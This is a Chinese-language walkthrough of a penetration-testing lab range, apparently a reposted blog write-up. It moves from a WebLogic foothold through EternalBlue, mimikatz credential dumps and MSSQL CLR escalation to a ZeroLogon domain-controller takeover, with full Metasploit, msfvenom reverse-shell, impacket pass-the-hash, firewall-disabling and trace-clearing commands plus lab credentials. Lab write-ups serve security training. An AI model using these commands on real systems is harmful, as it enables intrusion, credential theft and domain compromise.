本次多层网络域渗透项目旨在模拟渗透测试人员在授权的情况下对目标进行渗透测试, 从外网打点到内网横向渗透, 最终获取整个内网权限的过程.
靶场下载地址:
https:///s/1DOaDrsDsB2aW0sHSO_-fZQ
提取码: vbi2
靶场网络拓扑图为:
各靶机信息:
域控: Windows Server 2008 IIS Exchange 2013 邮件服务
目录还原密码: <a href="https://xz.aliyun.com/cdn-cgi/l/email-protection" data-cfemail="04766160706165692544">[email protected]</a>#45
主机名: owa
域管理员: administrator:Admin12345!
域内服务器MSSQL: Windows Server 2008 SQL Server 2008 (被配置了非约束委派)
主机名: sqlserver-2008
本地管理员:administrator:Admin12345
域账户: redteam\sqlserver:Server12345 (被配置了约束委派)
Mssql: sa:sa
域内个人PC: Windows 7
主机名: work-7
本地管理员:john: <a href="https://xz.aliyun.com/cdn-cgi/l/email-protection" data-cfemail="1d7c797074733c5d">[email protected]</a>#45
域账户: redteam\saul:<a href="https://xz.aliyun.com/cdn-cgi/l/email-protection" data-cfemail="98f9fcf5f1f6b9d8">[email protected]</a>#45
单机服务器: Windows server r2 weblogic
主机名: weblogic
本地管理员:Administrator:Admin12345
weblogic : weblogic: weblogic123(访问 http://ip:7001)
weblogic 安装目录: C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain(手动运行下 startWebLogic.cmd)
其他域用户:
域服务账户: redteam\sqlserver:Server12345 (被配置了约束委派)
邮件用户: redteam\mail:<a href="https://xz.aliyun.com/cdn-cgi/l/email-protection" data-cfemail="59383d3430377819">[email protected]</a>#45
加域账户: redteam\adduser:Add12345
redteam\saulgoodman:Saul12345 (被配置了非约束委派)
redteam\gu:Gu12345
redteam\apt404:Apt12345
开启 Windows Server 2012 R2 后, 在 C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain 目录下双击 startWebLogic.cmd 启动 weblogic .
单机服务器假定我们已经拿到了靶标 IP : 192.168.10.22 . 利用 Nmap 对靶标进行简易地扫描: nmap.exe -p1-65535 -Pn -A -T4 192.168.10.22 .
根据扫描结果发现 7001 端口存在 Oracle WebLogic , 扫一梭子看看有没有漏洞, 从扫描结果来看还是存在挺多漏洞的.
直接上工具开发, 发现是 administrator 的权限, 直接注入内存码, 冰蝎上线.
域内个人 PC
当拿下 DMZ 区域的机器后, 除了权限维持和权限提升, 对于横向渗透通常分以下两个方面:
- 判断机器是否为多网卡机器, 然后扫描其他网段, 来发现更多存在漏洞的机器;
- 尽量收集机器上面的敏感信息, 比如敏感内部文件、账号密码本等, 帮助后面快速突破防线.
由于我们拿下的机器已经是 administrator 权限, 直接进行信息搜集即可, tasklist 查看进程发现不存在杀软.
利用 MSFvenom 生成一个 payload : msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.9 LPORT=7777 -f exe > shell.exe , 上传到靶机后, MSF 上线.
抓一下密码:
run windows/gather/credentials/windows_autologin
hashdump
拿到 Administrator 的密码 Admin12345 , 同时查询域信息: net view /domain , 发现该机器并不在域内.
查询网络信息发现是双网卡, 利用 fscan 扫描一下网段: fscan64.exe -h 10.10.20.0/24 > result.txt , 发现网段内存在新的机器 10.10.20.7 , 445 端口是开放的, 疑似存在 MS17-010 漏洞.
添加路由, 扫描一下 MS17-010 .
run get_local_subnets
run autoroute -s 10.10.20.0/24
run autoroute -p
search ms17-010
use 3
set rhost 10.10.20.7
run
发现的确存在 MS17-010 , 利用 exploit/windows/smb/ms17_010_eternalblue 进行攻击, 成功拿下该机器.
search ms17-010
use 0
set payload windows/x64/meterpreter/bind_tcp
set lport 11111
run
先查看一下权限, 发现直接就是 system 权限, 也不需要进行提权的操作, 用 mimikatz 抓一下密码, 发现该主机在域环境 redteam.red 内, 并且拿到一组域账户的用户名和密码: saul:[email protected]#45 .
load mimikatz
creds_all
用其他的方式继续抓一下密码, 成功拿到一组本地用户的用户名及密码: john:[email protected]#45 .
hashdump
run windows/gather/smart_hashdump
run windows/gather/credentials/windows_autologin
域内服务器 Mssql
查看网段发现新网段, 继续添加路由.
上传一个 fscan , 扫描一下网段, 发现存在一台 Windows Server 2008 R2 机器: 10.10.10.18 , 开放了 1433 端口, 并且获得一组弱口令: sa:sa .
MSF 配合 Proxifier 开启 socks 代理隧道, 利用 SharpSQLTools 执行命令, 发现是 10.10.10.18 机器是一个低权限的账号 network service .
参考 MSSQL 利用 CLR 技术执行系统命令 中的方法, 进行 clr 提权, 成功提权到 system 权限.
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
利用 exploit/windows/mssql/mssql_clr_payload 模块, 先用低权限账号上线, 接着上传木马, 利用 SharpSQLTools 运行得到高权限.
接着使用 mimikatz 抓取一下凭证, 得到两个用户的用户名和密码: Administrator:Admin12345 , sqlserver:Server12345 .
域控
由于不存在新的网段了, 在前面 fscan 的扫描结果中还存在一个 10.10.10.8 的地址, 不出意外该地址的机器就是域控了, 下面看看该如何拿下该台机子.
先确定一下该台机器是否是域控制器, 常见的方法有:
- 扫描内网中同时开放 389 和 53 端口的机器.
- 查看域控制器组: net group "domain controllers" /domain .
- 查看域控的机器名: nslookup redteam.red; nslookup -type=SRV _ldap._tcp .
- 查看域控当前时间: net time /domain .
确定该台机器是域控制器后, 根据其版本信息尝试用 Netlogon 特权提升漏洞 CVE-2020-1472 进行攻击, 详细内容见 内网渗透-账号提权 .
在验证存在 netlogon 特权提升漏洞后, 先重置一下域账号, 置空密码: python cve-2020-1472-exploit.py OWA 10.10.10.8 .
接着读取域控中的 hash : python secretsdump.py redteam.red/[email protected] -just-dc -no-pass .
获取到的 hash 后利用 impacket 中的 wmiexec.py 脚本进行登录, 成功拿到 shell : python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e redteam.red/[email protected] -codec gbk .
此时, 成功获取到了域控的 shell . 但是这个 shell 并不是稳定的, 真实环境中我们还需要进一步进行权限维持的操作, 在得到 hash 之后, 先利用前面获取到的 shell 关闭一下防火墙: netsh advfirewall set allprofiles state off , 接着便可以使用 PSEXEC 模块上线 MSF 并进行后续的操作了.
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.8
set lport 4446
run
需要注意的是, 在做完权限维持后要及时恢复域控的密码, 不然域控会脱域.
我们先导出 SAM 中原来的 hash , 利用 MSF 的 shell 下载下来并及时删除, 清理痕迹.
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
download C:\\sam.save C:\\Users\\95235\\Desktop\\sam.save
download C:\\security.save C:\\Users\\95235\\Desktop\\security.save
download C:\\system.save C:\\Users\\95235\\Desktop\\system.save
del /f sam.save
del /f system.save
del /f security.save
接着利用脚本 secretsdump.py 查看一下域控的 hash : python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL .
利用脚本 reinstall_original_pw.py 恢复 hash : python reinstall_original_pw.py OWA 10.10.10.8 f4044edaafbdca41a6e53d234c14ab9a .
最后利用空密码再次进行连接来验证是否恢复成功: python secretsdump.py redteam.red/[email protected] -just-dc -no-pass .
效果图
由于打过几次线下的 CFS 靶场, 使用 CS 感觉不佳, 本次打靶过程中就只使用了 MSF , 正好锻炼一下自己对于 MSF 各功能的使用, 打靶过程中的收获还是挺大的. 靶机附件里面也给出了一个靶场存在漏洞的说明, 感兴趣的师傅们也可以根据漏洞说明尝试一下其他的打法.
对于靶机要说明的就是网盘里面分享的是一个完整的压缩包然后从中间直接拆分出来的两个数据块, 使用的时候合并起来就行. 另一个 sqlserver-2008 那台机器的 Sql Server 2008 好像过期了, 我是用命令行直接开启的: net start mssqlserver .
原文链接:https://f5.pm/go-120761.html
,